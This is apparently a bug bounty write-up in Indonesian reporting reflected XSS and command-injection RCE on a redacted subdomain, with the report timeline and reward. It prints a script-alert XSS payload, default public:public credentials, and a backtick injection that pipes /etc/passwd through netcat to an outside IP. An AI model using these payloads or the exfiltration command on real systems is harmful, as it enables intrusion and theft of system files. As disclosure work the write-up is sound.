RCE and XSS On Private Program Cyber Army ID
Reconnaissance
Pada tahap reconnaissance,saya menggunakan nmap dengan perintah
nmap sub.[redacted].id
Disana terdapat beberapa port yang open, saya tertarik dengan port 8010. Pada saat tulisan ini dibuat saya coba scan lagi ternyata sudah filtered.
Saat saya buka sub.[redacted].id:8010, disana terdapat form login yang diketahui credentialnya menggunakan user dan password public:public. Disana terdapat beberapa menu (lupa screenshot).
XSS via POST Request
Untuk celah XSS ini berdampak pada 2 fungsi/menu:
- Menu dblist
- Menu dnsbse
Saya tertarik dengan fungsi search yg ada di menu dnsbse, disana ada form search yang merequest google search engine. Saya coba searcing “test”, ternyata inputan kita ditampilkan di browser,hmmmm… Langsung terpikir untuk input payload XSS, dengan mengirim payload XSS sejuta ummat "><script>alert("p00w")</script>
ternyata payload dirender dengan baik.
POC
- Script : https://pastebin.com/raw/zZN1pfSY
Remote Code Execution
Masih ingat menu dnsbse? Tadi yang kita bahas kalau fungsi dnsbse juga merequest search engine google dan menampilkan hasilnya disana. Saya kira kalau fungsi dnsbse itu pake curl buat request ke server googlenya,asumsinya kira-kira seperti ini:
shell_exec('curl {website with request}')
Saya pikir ini bisa diexploitasi dengan SSRF (Server Side Request Forgery);
setelah mencoba beberapa payload SSRF, ternyata zonk wwkwkw >_<
Saya sambil baca-baca referensi, akhirnya ketemu cara bypass stringnya hanya menggunakan backtick, sehingga kita dapat menjalankan perintah shell pada shell_exec
tadi.
Saya masukin request ke repeater di burp, lalu saya masukin payload `cat /etc/passwd | nc XXX.199.221.101 9091` pada parameter server, dan didapatkan result:
- 12 February Send Report
- 13 February Validation
- 14 February disclose
- Rewarded